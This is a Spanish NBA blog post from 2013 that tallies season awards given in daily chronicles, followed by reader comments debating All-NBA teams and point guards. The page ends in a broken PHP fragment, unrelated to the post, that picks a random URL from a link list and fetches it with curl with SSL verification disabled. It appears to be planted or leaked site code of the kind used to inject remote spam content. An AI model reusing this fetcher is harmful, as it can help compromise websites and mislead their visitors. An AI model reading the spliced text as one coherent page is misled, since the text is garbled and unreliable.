Los premios de las crónicas

10 de May de 2013 por txusma

Un año más nuestro compañero Rompe se ha molestado en recopilar los premios que vamos otorgando en nuestras crónicas diarias. Una vez la NBA ya ha entregado sus premios individuales y aprovechando que no hay partidos, es buen momento para echarles un vistazo:

MVP: Lebron James se he llevado el premios a mejor jugador del día en 22 ocasiones mientras que Kevin Durant ha quedado segundo con 16 galardones. Es más que posible que más de un día hayamos obviado alguna exhibición más terrenal de la pareja y hayamos premiado a algún otro jugador por aquello de la diversidad así que seguro que se hubieran merecido objetivamente más premios. Kobe Bryant completa el pódium con 14 galardones y es que ha tenido que exprimirse mucho para clasificar a sus Lakers. James Harden queda en cuarta posición y un quíntuple empate entre Carmelo Anthony, Kyrie Irving, Paul George, Tim Duncan y Tony Parker cierra los puestos de honor.

Rookie: Nada menos que 46 premios para el flamante ROY de la temporada, Damian Lillard. A distancia sideral se sitúan Anthony Davis y Bradley Beal con 18 galardones, Dion Waiters, con 16 y Andre Drummond y Michael Kidd-Gilchtrist, con 13. Harrison Barnes se queda con 8 aunque es posible que él esté en el mejor quinteto de la temporada y, por ejemplo, Dion Waiters, no. Este premio también lo utilizamos muchas veces para destacar a algún rookie que ha tenido algún partido especialmente bueno aunque tampoco haya sido muy brillante. Por eso jugadores como Robert Sacre, Bernard James, Arnett Moultrie o Doron Lamb han conseguido algún premio. ¿Será posible que no hemos mencionado ni un día a Victor Claver?

Sorpresa: Los jugadores son sorpresas hasta que dejan de serlo. Por eso alguien como Earl Clark, que en una temporada normal debería ser la sorpresa en cada partido que jugaba con los Lakers, se ha quedado con 6 galardones, el máximo. En segunda posición ha aparecido Jermaine O’Neal que durante una parte de la temporada recordó al mundo que no se había olvidado de jugar a baloncesto. Charlie Villanueva y Lamar Odom también se han llevado premios en los 4 partidos buenos que han jugado este año. Larry Sanders también consiguió 4 galardones cuando todavía no nos habíamos acostumbrado a sus tapones y Nikola Vucevic se quedó en 3. Queda claro que rápidamente vimos que lo de estos 2 iba en serio.

Decepción: Primera posición para Dwight Howard empatado con Andre Iguodala. Lo de Howard es curioso porque ha sido capaz de ganar 6 MVP y 7 ‘Decepciones’. Iguodala seguro que consiguió buena parte de sus premios en una fase de la temporada en que no había manera que metiera un tiro libre. Justo por detrás jugadores de la talla de Blake Griffin y Demarcus Cousins y es que a los buenos se les exige siempre más que al resto. OJ Mayo también aparece por las primeras posiciones pero es justo comentar que también ha ganado 4 MVP y 3 ‘Esfuerzo en vano’. Su inicio de temporada fue fulgurante pero después se diluyó como un azucarillo. No, ni Lebron James ni Kevin Durant han supuesto nunca una decepción.

Esfuerzo en vano: Se repite el TOP-3 pero esta vez con Kobe Bryant en primera posición que para algo los Lakers han perdido muchos más partidos que Thunder y Miami. Tras los 15 de Kobe aparecen los 13 de Kevin Durant y los 9 de Lebron James. Si sumamos MVP y ‘Esfuerzos’ el pódium se apreta: Lebron 31, Durant 29 y Kobe 29. Estos 3 jugadores han de aparecer sí o sí en el primer quinteto de la temporada. Carmelo Anthony y James Harden con 6 premios completan el TOP-5.

Comenta

26 comentarios a esta entrada

  1. Laker1624 dice:
    #1

    Buenas,

    Me parece tremendo lo de James y Durant. En mi opinión este “duelo” entre ambos puede llegar a la altura de la rivalidad Magic-Bird, como mínimo veo todas las condiciones para que esto sea así. Por el momento, tal y como reflejan estos premios, veo a James por encima de Durant. Pienso que si los Lakers hubieran rendido a su máximo nivel, Kobe podría llegar a disputarle el oro y la plata a James y Durant. De hecho, considero esta temporada de los Lakers como el mayor fracaso de la NBA desde que sigo la liga (temporada 2004-2005 aprox.).

      Citar

  2. Melo15 dice:
    #2

    Para mi Kobe no ha de aparecer en el mejor quinteto, de ninguna manera. Es cierto que su temorada ha sido excepcional, pero la de Westbrook ta bien y los Thunder han quedado segundos mientras que Kobe septimo.
    Aprovecho para citar mis candidatos a los quintetos.
    Paul-Westbrook-Lebron-Durant-Duncan
    Parker-Kobe-Carmelo-Griffin-Marc
    Curry-Harden-Geroge-Lopez-Howard

      Citar

  3. Laker1624 dice:
    #3

    No sabria decir un quinteto, sobretodo porque me costaria encontrar jugadores interiores. Para mi los mejores de la temporada han sido Lebron, Durant, Kobe y Carmelo, todos jugadores de perimetro como podeis ver. Luego ya vendrian Chris Paul, Harden y Duncan.

      Citar

  4. Laker1624 dice:
    #4

    Viendo el nivel de los jugadores interiores actuales, me viene a la cabeza aquello de que para conseguir un equipo campeón capaz de establecer una dinastía en la liga se necesita un juego interior poderoso, algo que no comparto del todo. Luego pienso en los Heat, que no considero que tengan un juego interior poderoso pero si la capacidad para conseguir mas campeonatos en los próximos años. También considero que el nivel de los jugadores interiores actuales es posiblemente el mas bajo de los últimos años/décadas en la liga ¿Creéis que un equipo como Miami tendría mas dificultades para ser campeón si el nivel de los interiores actuales fuera equiparable al de los centers de hace 20 años por ejemplo?

      Citar

  5. HisRoyalAirness dice:
    #5

    Melo15:
    Para mi Kobe no ha de aparecer en el mejor quinteto, de ninguna manera. Es cierto que su temorada ha sido excepcional, pero la de Westbrook ta bien y los Thunder han quedado segundos mientras que Kobe septimo.
    Aprovecho para citar mis candidatos a los quintetos.
    Paul-Westbrook-Lebron-Durant-Duncan
    Parker-Kobe-Carmelo-Griffin-Marc
    Curry-Harden-Geroge-Lopez-Howard

    Pero por esa regla de 3 Parker debería estar en el primer quinteto (para mí sin duda)

      Citar

  6. melo15 dice:
    #6

    No porque los Clippers han quedado 4 en el Oste y tampoco tan lejos de SAS. Yo no pondria a Kobe en el 1 porque quedando septimo sufriendo no me parece adecuado. Aparte de que en mi opinion Paul es mejor que Parker en todos los aspectos.

    HisRoyalAirness: Pero por esa regla de 3 Parker debería estar en el primer quinteto (para mí sin duda)

      Citar

  7. Txusma dice:
    #7

    2 jugadores del mismo equipo en el primer quinteto? Muy difícil. Yo creo que Kobe y Duncan se merecen estar en el primer quinteto junto a Durant y Lebron. Parker se quedaría en el segundo pq ya tenemos a Duncan así que Paul es el que parte con más opciones.
    Para el segundo, Parker-Harden-Carmelo-Lee-Marc y para el tercero Curry-Westbrook-George-Griffin-Lopez

      Citar

  8. Laker1624 dice:
    #8

    Me extrañaría mucho que no incluyeran a Howard en ninguno de los quintetos.

      Citar

  9. HisRoyalAirness dice:
    #9

    Parker es el base más infravalorado de la liga. Mejor Paul en todos los aspectos? No estoy de acuerdo para nada.

    Y Laker1624 los Bulls de Jordan tenían un juego interior de todo menos potente pese a que Rodman en el segundo Three peat fuese el gran reboteador que fue.

    También creo que es cierto lo que dices del juego interior actual, aunqur claramente plasmado en la Conferencia Oeste. Sin irme a los 80 mete en cualquier equipo que no sean los Heat a un Ewing, Olajuwon, Robinson, Malone y a ver si se las traían tan felices para llegar a las finales. A un verdadero Big man sólo se le para a hostias y ahora en el Este no hay más que cuerpos grandes, ningún 6’9- 7 pies de verdadero talento. Por eso quiero a Grizzlies o Spurs en las finales

      Citar

  10. Laker1624 dice:
    #10

    Ya he dicho que no compartía del todo la afirmación de que se necesita un gran juego interior para construir una dinastía ganadora. También estoy de acuerdo en lo que dices sobre los Bulls de los 90. Pero claro, en Chicago contaban con Jordan, que en mi opinión es el jugador de perímetro mas dominante de la historia. Lo que quería decir es si pensáis que los Heat de Lebron podrían haber plantado cara a equipos que contasen con juegos interiores tan potentes como los de los 90.

    HisRoyalAirness:
    Parker es el base más infravalorado de la liga. Mejor Paul en todos los aspectos? No estoy de acuerdo para nada.

    Y Laker1624 los Bulls de Jordan tenían un juego interior de todo menos potente pese a que Rodman en el segundo Three peat fuese el gran reboteador que fue.

    También creo que es cierto lo que dices del juego interior actual, aunqur claramente plasmado en la Conferencia Oeste. Sin irme a los 80 mete en cualquier equipo que no sean los Heat a un Ewing, Olajuwon, Robinson, Malone y a ver si se las traían tan felices para llegar a las finales. A un verdadero Big man sólo se le para a hostias y ahora en el Este no hay más que cuerpos grandes, ningún 6’9- 7 pies de verdadero talento. Por eso quiero a Grizzlies o Spurs en las finales

      Citar

  11. Melo15 dice:
    #11

    HisRoyalAirness:
    Parker es el base más infravalorado de la liga. Mejor Paul en todos los aspectos? No estoy de acuerdo para nada.

    Y Laker1624 los Bulls de Jordan tenían un juego interior de todo menos potente pese a que Rodman en el segundo Three peat fuese el gran reboteador que fue.

    También creo que es cierto lo que dices del juego interior actual, aunqur claramente plasmado en la Conferencia Oeste. Sin irme a los 80 mete en cualquier equipo que no sean los Heat a un Ewing, Olajuwon, Robinson, Malone y a ver si se las traían tan felices para llegar a las finales. A un verdadero Big man sólo se le para a hostias y ahora en el Este no hay más que cuerpos grandes, ningún 6’9- 7 pies de verdadero talento. Por eso quiero a Grizzlies o Spurs en las finales

    En que es mejor Parker que Paul?
    Penetrando? Muy justo
    Tirando? No
    Defensa? Ni de coña
    Direccion? No
    Liderazgo? No
    En que?

      Citar

  12. Lucho dice:
    #12

    Para mi Paul es mucho mejor que Parker. Pero esta temporada creo que fue mejor Parker.

    Tambien esta temporada Lee fue mucho mejor que Nowitzki. O Marc que Howard
    A eso me refiero. Como jugadores, esta claro que Paul Nowizki y Howard son el doble que sus pares

    Para el que le interese: una nota sobre el papel de Bogut, y al que la lea, me gustaria saber si esta de acuerdo o no es tan asi

      Citar

  13. Lucho dice:
    #13

      Citar

  14. MagicJohnson32 dice:
    #14

    LeBron, Durant y Kobe son fijos en el primer quinteto. El base estará entre CP y Parker, y el pívot entre Marc y Duncan. Creo que será CP-Kobe-KD-LeBron-Duncan. Aunque coincido con Lucho, la temporada de TP ha sido mejor que la de Paul.

      Citar

  15. Esteban dice:
    #15

    jajajaja para los criticos de HOWARD, cuando el tiene un mal año y no esta en el quinteto inicial, a quien hay que recurrir? a duncan con 36 años o a Gasol con 14 puntos y 8 rebotes, sus intangibles cuentan si, pero esos numeros no se defiencen en un mejor quinteto

    que lejos que esta del resto dh12,

    quiza brook lopez, dado su indice de efectividad podria ser el centro

      Citar

  16. rumbero dice:
    #16

    Tanto hablar de Parker lo habéis picado. Vaya primer cuarto del amigo, 25 puntos y bailando a los Warriors.

      Citar

  17. rumbero dice:
    #17

    Primera parte no primer cuarto 😀

      Citar

  18. Simon dice:
    #18

    Melo mirate los Clippers- Spurs de este año, que recuerdo al menos un par de partiditos en los que Parker le ha hecho un traje a medida a Paul…
    Sinceramente es que creo que infravalorais a Parker casi todos, Paul es el mejor base de la liga pero tampoco es tan dominador ni la diferencia con sus pares es tal. De hecho lleva un equipazo y no es capaz de llevarlo a cotas mayores… y si, estoy diciendo que teneis a Paul sobrevalorado, como en un pedestal, cuando es el mejor base pero con muchísima gente a poca diferencia.

      Citar

  19. Simon dice:
    #19

    De hecho la prueba la tienes en que en primera ronda, un base como Conley ( que muchos considerais de perfil bajo ) no ha estado muy lejos de sus prestaciones, y aunque los números de Paul en la serie sean mejores yo diría que el duelo individual estuvo al 50% y si tuviera que caer hacia algun lado la pelota caería para el lado de Conley.

      Citar

  20. nba dice:
    #20

    Yo aunque reciba palos, para mi el mejor base es , estando sano, Deron Williams, ya lo he dicho …
    Otra cosa es que sea o no un buen compañero

      Citar

  21. melo15 dice:
    #21

    Simon, ahora no me vengas con que Paul tiene un equipazo porque en Playoffs no hay NADIE capaz de apoyarlo a el.
    Para mi Paul es el mejor, porque hace siempre lo que tiene que hacer. Cuando hace falta anotar, anota y cuando ha de involucrar a sus compañeros, lo hace. Aparte de que el solo se echa el equipo a las espaldas en los ultimos minutos.

      Citar

  22. MagicJohnson32 dice:
    #22

    El mejor base es… Derrick Rose ¬¬

      Citar

  23. rumbero dice:
    #23

    Melo15: En que es mejor Parker que Paul?
    Penetrando? Muy justo
    Tirando? No
    Defensa? Ni de coña
    Direccion? No
    Liderazgo? No
    En que?

    Pentrando, si.
    Ha tirado mejor esta temporada.
    Defensa no.
    Dirección y liderazgo no? Seguro? Cuanto menos podríamos discutirlo ampliamente.
    En gilipollismo si gana Paul.

    Yo estoy con Simón. Seguramente Paul es el mejor si nos ponemos a enumerar cualidades, el tio es un crack y esta temporada es el menor de los culpables de que estos Clippers no hayan podido con los ositos, pero de ahí a ponerlo siete peldaños por encima del resto… La temporada de Parker ha sido buenísima, mejor que la de Paul, pero solemos subestimarlo por mucho que el tio tenga 3 anillos, un MVP de las finales y varios clutch con la Longoria.

      Citar

  24. Simon dice:
    #24

    MagicJohnson32:
    El mejor base es… Derrick Rose ¬¬

    Eso por supuesto, ahi no tengo dudas de si vuelve a su 100% volverá a ser el mejor. Pero a ver como vuelve. Pero el Rose de antes de la lesión era el mejor base de la liga con la pinga. Aunque no fuera un Play Maker al uso.

      Citar

  25. Simon dice:
    #25

    Es que Tony Parker es probablemente un top 5 dentro de los jugadores que mejor penetran en la liga.

    melo15:
    Simon, ahora no me vengas con que Paul tiene un equipazo porque en Playoffs no hay NADIE capaz de apoyarlo a el.

    Tío por tío no me parece Clippers inferior a Memphis ni a la de 3. Y luego hay que ver como es de fácil criticar a los jugadores segun nuestros gustos o filias y fobias. Si Lakers no juega una mierda y Bryant se sale decimos que es que Bryant no es capaz de involucrar a sus compañeros, que no tienen confianza pq Bryant no les deja su espacio… si son los Clippers con Paul o el equipo X con el jugador X que nos encanta entonces decimos que sus compañeros son unos mierdas que no lo apoyan… Hay que ser coherentes con nuestras opiniones siempre…
    ( y eso que estoy de acuerdo con que Paul estuvo muy sólo en la primera ronda ) pero me hace gracia ver las distintas varas de medir que usamos según con quién.

      Citar

  26. HisRoyalAirness dice:
    #26

    rumbero: Pentrando, si.
    Ha tirado mejor esta temporada.
    Defensa no.
    Dirección y liderazgo no? Seguro? Cuanto menos podríamos discutirlo ampliamente.
    En gilipollismo si gana Paul.

    Yo estoy con Simón. Seguramente Paul es el mejor si nos ponemos a enumerar cualidades, el tio es un crack y esta temporada es el menor de los culpables de que estos Clippers no hayan podido con los ositos, pero de ahí a ponerlo siete peldaños por encima del resto… La temporada de Parker ha sido buenísima, mejor que la de Paul, pero solemos subestimarlo por mucho que el tio tenga 3 anillos, un MVP de las finales y varios clutch con la Longoria.

    Estoy con rumbero. Ser un bocachancla e ir de tipo duro por la vida no te convierte en lider de nada. Ahora tampoco tenia equipo en Clippers, ok

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>